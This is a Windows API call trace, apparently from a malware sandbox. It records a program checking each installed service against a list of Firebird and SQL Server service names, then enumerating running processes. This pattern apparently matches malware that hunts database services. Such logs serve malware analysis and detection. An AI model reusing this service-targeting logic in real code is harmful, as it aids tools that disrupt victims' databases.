	[0163.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0163.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0163.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0163.899] lstrlenW (lpString="lfsvc") returned 5
	[0163.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0163.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0163.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0163.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0163.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0163.899] lstrlenW (lpString="lmhosts") returned 7
	[0163.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0163.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0163.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0163.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0163.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0163.899] lstrlenW (lpString="LSM") returned 3
	[0163.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0163.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0163.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0163.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0163.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0163.900] lstrlenW (lpString="MpsSvc") returned 6
	[0163.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0163.900] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0163.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0163.900] lstrlenW (lpString="NcbService") returned 10
	[0163.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0163.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0163.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0163.900] lstrlenW (lpString="netprofm") returned 8
	[0163.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0163.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0163.900] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0163.900] lstrlenW (lpString="NgcSvc") returned 6
	[0163.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0163.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0163.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0163.900] lstrlenW (lpString="NlaSvc") returned 6
	[0163.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0163.901] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0163.901] lstrlenW (lpString="nsi") returned 3
	[0163.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0163.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0163.901] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0163.901] lstrlenW (lpString="PcaSvc") returned 6
	[0163.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0163.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0163.901] lstrlenW (lpString="PlugPlay") returned 8
	[0163.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0163.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0163.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0163.901] lstrlenW (lpString="Power") returned 5
	[0163.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0163.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0163.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0163.902] lstrlenW (lpString="ProfSvc") returned 7
	[0163.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0163.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0163.902] lstrlenW (lpString="RpcEptMapper") returned 12
	[0163.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0163.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0163.902] lstrlenW (lpString="RpcSs") returned 5
	[0163.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0163.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0163.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0163.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0164.221] lstrlenW (lpString="SamSs") returned 5
	[0164.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0164.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0164.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0164.221] lstrlenW (lpString="Schedule") returned 8
	[0164.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0164.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0164.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0164.221] lstrlenW (lpString="SecurityHealthService") returned 21
	[0164.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0164.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0164.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0164.221] lstrlenW (lpString="SENS") returned 4
	[0164.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0164.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0164.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0164.222] lstrlenW (lpString="ShellHWDetection") returned 16
	[0164.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0164.222] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0164.222] lstrlenW (lpString="Spooler") returned 7
	[0164.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0164.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0164.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0164.222] lstrlenW (lpString="StateRepository") returned 15
	[0164.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0164.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0164.222] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0164.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0164.222] lstrlenW (lpString="SysMain") returned 7
	[0164.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0164.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0164.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0164.223] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0164.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0164.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0164.223] lstrlenW (lpString="Themes") returned 6
	[0164.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0164.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0164.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0164.223] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0164.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.223] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0164.223] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0164.224] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x669710 | out: hHeap=0x610000) returned 1
	[0164.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c
	[0164.231] Process32FirstW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0164.232] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0164.232] lstrlenW (lpString="System") returned 6
	[0164.232] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0164.233] lstrlenW (lpString="smss.exe") returned 8
	[0164.233] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.233] lstrlenW (lpString="csrss.exe") returned 9
	[0164.234] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0164.234] lstrlenW (lpString="wininit.exe") returned 11
	[0164.234] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.235] lstrlenW (lpString="csrss.exe") returned 9
	[0164.235] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0164.235] lstrlenW (lpString="winlogon.exe") returned 12
	[0164.235] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0164.236] lstrlenW (lpString="services.exe") returned 12
	[0164.236] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0164.236] lstrlenW (lpString="lsass.exe") returned 9
	[0164.236] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.237] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.237] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.237] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.237] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.238] lstrlenW (lpString="svchost.exe") returned 11
	[0164.238] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.238] lstrlenW (lpString="svchost.exe") returned 11
	[0164.238] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0164.239] lstrlenW (lpString="dwm.exe") returned 7
	[0164.239] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.239] lstrlenW (lpString="svchost.exe") returned 11
	[0164.239] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.240] lstrlenW (lpString="svchost.exe") returned 11
	[0164.240] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.240] lstrlenW (lpString="svchost.exe") returned 11
	[0164.240] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.241] lstrlenW (lpString="svchost.exe") returned 11
	[0164.241] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.241] lstrlenW (lpString="svchost.exe") returned 11
	[0164.241] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.242] lstrlenW (lpString="svchost.exe") returned 11
	[0164.242] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.242] lstrlenW (lpString="svchost.exe") returned 11
	[0164.242] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.243] lstrlenW (lpString="svchost.exe") returned 11
	[0164.243] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.243] lstrlenW (lpString="svchost.exe") returned 11
	[0164.243] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.244] lstrlenW (lpString="svchost.exe") returned 11
	[0164.244] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0164.244] lstrlenW (lpString="spoolsv.exe") returned 11
	[0164.244] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.245] lstrlenW (lpString="svchost.exe") returned 11
	[0164.245] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0164.245] lstrlenW (lpString="audiodg.exe") returned 11
	[0164.245] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0164.246] lstrlenW (lpString="sihost.exe") returned 10
	[0164.246] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.247] lstrlenW (lpString="svchost.exe") returned 11
	[0164.247] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.247] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.247] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0164.248] lstrlenW (lpString="msoia.exe") returned 9
	[0164.248] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0164.248] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0164.248] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0164.249] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0164.249] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0164.249] lstrlenW (lpString="Memory Compression") returned 18
	[0164.249] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0164.250] lstrlenW (lpString="explorer.exe") returned 12
	[0164.250] Process32NextW (in: hSnapshot=0x29c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0164.250] lstrlenW (lpString="SearchUI.exe") returned 12
